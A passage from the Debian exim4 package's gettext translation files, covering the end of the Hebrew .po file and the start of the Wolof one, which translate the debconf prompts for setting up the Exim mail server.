otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "אין הגדרות בשלב זה " #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "סוג כללי של הגדרות דואר" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "בחר את סוג ההגדרות של שרת הדואר המתאים לצרכים שלך." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "מערכות עם כתובת IP דינמית, כולל כאלה עם חיבור dialup, צריכות להגדיר להעביר " "דואר יוצא למכונה אחרת שנקראת 'smarthost' מאחר ומערכות דואר רבות באינטרנט " "חוסמות קבלת דואר ממערכות בעלות כתובת IP דינמית לצורך הגנה מפני דואר זבל." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "מחשב עם כתובת IP דינמית יכול לקבל את הדואר של עצמו, או שקבלה מקומית יכולה " "להיות מבוטלת למעט דואר ל-root ול-postmaster." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "האם אתה בטוח שברצונך להשאיר את מערכת הדואר לא מוגדרת?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "עד שהמערכת שלך תוגדר, היא תהיה שבורה ולא ניתנת לשימוש. ניתן להגדיר את המערכת " "מאוחר יותר על ידי הרצת הפקודה 'dpkg-reconfigure exim4-config' כמשתמש root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "שם מערכת הדואר:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "ההגדרה 'mail name' היא שם המתחם שמיוחס לכתובות דואר ללא שם מתחם." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "שם זה יהיה בשימוש גם על ידי תוכנות אחרות. הוא צריך להיות שם המתחם המלא " "והיחידי (FQDN) שממנו יראה שהדואר מגיע." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "כך, אם כתובת דואר על המחשב המקומי היא foo@example.org, הערך הנכון לאפשרות זו " "הינו example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "שם זה לא יופיע בשורות From: של דואר יוצא אם תאפשר כתיבה מחדש." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "יעדים אחרים שמהם דואר מאושר:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "הכנס בבקשה רשימה של שמות מתחם שלהם מכונה זאת תחשוב את עצמה כיעד הסופי, חוץ " "מאשר הם המחשב המקומי, (${fqdn}) ו-'localhost'." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "כברירת מחדל כל המתחמים יקבלו אותו יחס. אם a.example ו-b.example הם מתחמים " "מקומיים, acc@a.example ו-acc@b.example יועברו לאותו מקום. אם מתחמים שונים " "צריכים לקבל יחס שונה, יש צורך לערוך את קבצי ההגדרה מאוחר יותר." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "שמות מתחם שאליהם יש להעביר דואר:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "נא להכניס רשימה מופרדת על ידי נקודה-פסיק של שמות מתחם שהמערכת תעביר בשבילם " "דואר, למשל כשרת גיבוי למתחם או שרת ביניים. המערכת תקבל דואר לשמות מתחם אלו " "מכל מקום ותעביר אותם לפי החוקים המקומיים במערכת." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "לא להגדיר שמות מתחם מקומיים כאן. ציון כללי (wildcard) ניתן לשימוש." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "מכונות להעביר אליהם דואר:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "נא להכניס רשימה מופרדת נקודה-פסיק של תחומי כתובות IP להם המערכת תעביר דואר " "ללא הגבלות, ובכך תתפקד כ-smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "רצוי להשתמש בסטנדרט של כתובת/אורך (לדוגמה: 194.222.242.0/24 או " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "אם מערכת זו לא אמורה לשמש כ-smarthost למחשב אחר, השאר שדה זה ריק." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "שם מתחם נראה עבור משתמשים מקומיים:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "האפשרות להסתיר את שם הדואר המקומי בדואר יוצא הינה מופעלת. עקב כך יש צורך " "לציין את שם המתחם שמערכת זו תשתמש לחלק המתחם של כתובות המשתמשים המקומיים." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "כתובת IP או שם מחשב דרכו מעבירים דואר יוצא (smarthost):" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "נה להכניס את כתובת ה-IP או את שם המחשב של שרת הדואר שמערכת זו תעביר אליו " "דואר כ-smarthost. אם שרת הדואר הזה מקבל את הדואר שלך בפורט אחר מ-TCP/25, " "הוסף שני סימני נקודתיים ואת מספר הפורט (למשל smarthost.example::587 או " "192.168.254.254::2525). נקודתיים בכתובות IPv6 צריכות להיות מוכפלות." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "אם ה-smarthost דורש אימות, אנא פנה לקובץ README הייעודי לדביאן שנמצא ב-/usr/" "share/doc/exim4-base להערות איך להגדיר אימות ל-SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "מקבל דואר של root ו-postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "דואר ל-'postmaster', 'root' וחשבונות מערכת אחרים צריכים להיות מופנים לחשבון " "המשתמש של מפעיל המערכת." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "אם ערך זה מושאר ריק, דואר זה יישמר ב-/var/mail/mail, מה שאינו מומלץ." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "שים לב שהדואר של postmaster צריך להקרא על המערכת אליה הוא נועד ולא להיות " "מועבר הלאה למקום אחר. כך שלפחות למשתמש אחד אתה צריך לא להעביר למחשב אחר. " "השתמש בקידומת 'root-' כדי להבטיח העברה מקומית." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "שמות משתמש מרובים צריכים להיות מופרדים על ידי רווחים." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "כתובת IP להאזין עליהן לחיבורי SMTP נכנסים:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "נא להכניס רשימה מופרדת נקודה-פסיק של כתובות IP. שרת ה-SMTP של Exim יאזין לכל " "הכתובות הרשומות כאן." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "השארת ערך זה ריק, תגרום ל-Exim להקשיב לחיבורים על כל ממשקי הרשת הזמינים." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "אם מחשב זה לא מקבל דואר ישירות ממחשבים אחרים, אלא רק דרך שירותים מקומיים " "כגון fetchmail או תוכנת הדואר שלך (MUA) שמדברת עם המחשב המקומי, מומלץ לאסור " "חיבוריים חיצוניים ל-Exim ע\"י הגדרת אפשרות זאת לערך 127.0.0.1 ובכך הקשבה " "לממשקי רשת ציבוריים." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "השאר את מספר שאילתות ה-DNS במינימום (חיוג לפי דרישה)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "במצב פעולה נורמלי, Exim יוצר חיפושי DNS בעליה, כאשר מתקבל או נשלח דואר. כל " "זאת לצרכי תיעוד וכדי לשמור את הערכים הקבועים בקבצי ההגדרות במינימום." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "אם מחשב זה הינו ללא גישה קבועה לשרת DNS (למשל אם הוא מחובר בחייגן עם חיבור " "לפי דרישה), שימוש בחיוג על פי דרישה היה בעל משמעויות לא רצויות. למשל כאשר " "exim היה מתחיל או מריץ תור (גם אם אין הודעות) זה יכול לגרום לביצוע חיוג לא " "רצוי." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "צריך לבחור באפשרות זו אם משתמשים בחיוג על פי דרישה. אם המערכת תמיד מחוברת " "לאינטרנט מומלץ לא לבחור באפשרות זו." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "הגדרות שרת דואר" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "לפצל את ההגדרות לקבצים קטנים?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "חבילת exim4 של Debian יכול להשתמש בקובץ מונוליתי יחיד (/etc/exim4/exim4.conf." "template) או בכ-50 קבצים קטנים בספריה /etc/exim4/conf.d/ כדי ליצור את קובץ " "ההגדרות הסופי." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "קבצי הגדרות לא מחולקים מתאימים יותר לשינויים גדולים ובאופן כללי יותר יציבים. " "קבצי הגדרות מחולקים יותר נוחים כדי לעשות שינויים קטנים אבל יותר רגיש ועלול " "להישבר אם ישונה ללא זהירות מספקת." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "מידע נוסף לגבי קבצי הגדרה מחולקים או מאוחדים ניתן למצוא בקובץ ה-README " "הייעודי לדביאן שנמצא ב-/usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "החבא של שם הדואר המקומי בדואר יוצא?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "הכותרות של דואר יוצא יכולים להיכנס מחדש כדי שיראה שנוצר במערכת אחרת. אם " "אופציה זו נבחרת יתבצע שיכתוב של הערכים \"${mailname}\" \"localhost\" and " "\"${dc_other_hostnames}\" בשדות From, Reply-To, Sender and Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "תיבת דואר מסוג mbox ב- /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "תיבת דואר מסוג Maildir בספריית הבית" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "שיטת מסירה עבור דואר מקומי:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "‏Exim יכול לשמור דואר שנשמר מקומית במספר דרכים. הדרכים הנפוצות ביותר הינן " "mbox ו-Maildir.‏ mbox שומר את כל ההודעות בקובץ יחיד בספרייה /var/mail. ‏" "Maildir שומר כל הודעה בקובץ נפרד ב-~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "שים לב שרוב כלי הדואר בדביאן מצפים שהשמירה המקומית תהיה ל-mbox כברירת מחדל." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "להעביר דואר שלא נמסר מה-spool של exim גרסה 3 לזה של exim4?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "ישנם מיילים שלא נמסרו בספריית ה-spool של exim או exim-tls מגרסה 3 בספריה /" #~ "var/spool/exim/input." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "בחירה באפשרות זאת תעביר את ההודעות האלה לספריית ה-spool של exim4 (בנתיב /" #~ "var/spool/exim4/input), שם הם יטופלו על ידי exim4." debian/po/wo.po0000644000000000000000000006131612027557533010611 0ustar # translation of wo.po to Wolof # This file is distributed under the same license as the PACKAGE package. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER. # # Mouhamadou Mamoune Mbacke , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: wo\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-19 01:10+0200\n" "Last-Translator: Mouhamadou Mamoune Mbacke \n" "Language-Team: Wolof\n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ndax nu dindi bataaxal yiñu jebbalewul yi ne ci gakku spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Amna ay bataaxal yu ne ci kaggu spool bu exim /var/spool/exim4/ input/ ta " "jebbaleeguñu leen. Boo dindée Exim kon kenn du leen manatee jébbalé fii ak " "ngay istalewaat Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Buf fekkee tannóo lii, kon deesna fi bayyi kaggu bu spool. Loolu dana tax " "bañu mana jébbalé bataaxal yi nekk ci sappe si, ginnaaw buñu istalewaatee " "Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Komfigurewaat exim4-config ta bayye bii paket" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 jëlnañu komfiguraasioŋam jagleelko ab paketu boppam muy exim4-config. " "Saa yoo bëggée komfigurewaat Exim4, jëfandikool 'dpkg-reconfigure exim4-" "config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "sit internet; bataaxal deesleen di yónée di leen jot ak SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "bataaxal bi smarthost moo koy yónée; deesnako jot ak SMTP walla fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "bataaxal yi smarthost moo koy yónée; bataaxal lokaal du am" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "jébbale lokaal rekk; nekkul ci ab resóo" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "komfigraasioŋ du am leegi" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Komfiguraasioŋ bu xeetu bataaxal wi gëna yaatu:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Tannal xeetu komfiguraasioŋ bu serwóor bu mail bi gëna dëppóo ak say soxla." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistem yi am adrees IP dinaamik, mel ne sistemu dialup yi, deesleen di wara " "komfigure ñuy yónnée seen bataaxal yiy génn jaaraleko ci baneen masin, buñuy " "tudde 'smarthost' ngir mu jebbale leen, ndaxte sistem yu bare ci yiy jot " "bataaxal yi ci internet, dañuy boloke bataaxal yiy juge ci adrees IP " "dinaamik, ngir aar seen boppu ci spam yi." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Sistem bu ame adrees IP dinaamik dana man di jot ay bataaxal yu boppam, " "maneesna yit baña naŋgu bataaxal lokaal yi (bamu des yu jëm ci root ak " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Ndax wóorna nu bayyi sistemu bataaxal (mail) bañkoo komfigure?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Fii ak ngay komfigure sa sistemu mail bi, dafay doon lu dammu ta deesu ko " "mana jëfandikoo. Du tee nak nga man koo komfigure ginnaaw bi, benn ak sa " "loxo walla nga doxal 'dpkg-reconfigure exime4-config' gannaaw boo doonee " "root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Turu sistemu mail bi:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'mail name' mooy turu domen biñuy jëfandikoo ngir 'qualifier', maanaa melal " "ay adrees yu mail ta du and ak turu domen bi." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Tur wi yaneen prograam yitam danañukoy jëfandikoo, mingi wara doon turu " "domen wu mat, fully qualified domain name (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Ci misaal, bu ab adreesu mail bu nekk ci sa masin bi doonee foo@example.org, " "kon li ngay wara bind fii mooy example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Tur wii du feeñ ci bind wu From: ci bataaxal yiy génn bu fekkee yaangi doxal " "rewriting." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Yaneen jamukaay yiñuy naŋgu bataaxal difa dem:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Joxeel fii ab list boo teqale ak ay (;) bu domen yi nga xam ne bii masin " "dana jappu ne man naa doon jamukaayu seeni bataaxal. Yooyu domen ñi ngi leen " "di tudde 'domen lokaal'. Turu masin bi (${fqdn}) ak 'localhost' deesleen di " "dolli ci list bii ñuy joxe fii." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Bu waxeesul dara kon mbooleem domen yi lañiy yamale ñuñuy jëflëntée ak ñoom. " "Bbu fekkee a.examploe ay b.example ay dome lokaal lañu, kon acc@a.example ak " "acc@b.example ñooy bokk fuñu leeen di yóbbu. bëgée yenn domen yi ñuy " "jëflënte ak ñoom nu bokkul ak ni ñuy jëflënte ak yaneen yi, kon boo noppee " "dangay soppi fiise bu config bi." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Doen yiñuy jallale seeni bataaxal:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Joxeel fii ab list buñu teqale ak (;) bu domen yinga xam ne sistem bii danay " "jottuli bataaxal yi jëm ci ñoom, ci misaal bu seen dellukaay bu MX walla " "mail gateway. Loolu mooy firi ne sistem bii dana naŋgoo jël béppu bataaxal " "bu jëm ci ñoom ak fumu mana juge ci internet, buko defee mu jébbalé léen " "niko reegal yu jébbalé yi waxe." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Bul tudd fii nak domen lokaal yi. Wildcards maneesna leena jëfandikoo." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Masin yiñuy jallale seeni bataaxal:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Bindal fii ab list buñu teqale ak ay (;) bu def ab diggante (intervalle) bu " "adrees IP yi masin bii di jallale seen mail ci ludul mu ciy tek benn sart, " "doon seen smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Dangaa wara jëfandikoo formaat estàndaar bu adress/prefix (ci misaal: " "194.222.242.0/24 walla 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Bu fekkee sistem bii du doon smarthost bu benn masin, kon bul bind fii dara." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Turu domen yi jëfandikukat lokaal yi di mana gis:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Tanneesna ne ñu laq turu mail lokaal bi ci bataaxal yiy génn. Kon nak fawwu " "nga joxe fii turu domen binga xam ne moo war di feeñ ci adrees yu sender, " "maanaa kiy yónnée bataaxal bi." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Adrees IP walla turu masin bu smarthost biy génn:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Joxeel fii adrees IP walla turu masin bu ab serwóor mail bu sistem biy doon " "smarthost bu bataaxal yiy génné ci sistem bii. Bu fekkee smarthost mingiy " "naŋgoo jël say bataaxal yiy jaar ci poor bu bokkul ak TCP/25, kon yokkal ci " "adrees IP bi (::) ak numero bu poor bi. (Ci misaal smarthost.example::587 " "walla 192.168.254.254::2525). Ñaari tombu (:) yiy nekk ci adrees IPv- " "deeleen di duble." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Bu fekkee sparthost dafay laaj settantal jëmmu (authentication), kon dellul " "ca fiise README biñu jagleel Debian ci /usr/share/doc/exim4-base ngir am ay " "leeral ci reglaas yu setteantalu jëmmu (authentification) ak SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Kiy jot bataaxal yu root ak yu postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Bataaxal yu 'postmaster', 'root', ak yaneen kontu yu sistem bi dañuy soxla " "ñu jallale léen ci ab kontu bu jëfandikukat bi nga xam ne mooy saytu sistem " "bi." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Bu fekkee fii bindoo fi dara, kon bataaxal yu deme nooni kon deesna leen " "deñc ci /var/mail/mail, ta loolu deŋkaanewuñu kuko def." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Xamal ne bataaxal yu postmaster deesleena war di jaŋg ci sistem yiñu leen di " "jallale, 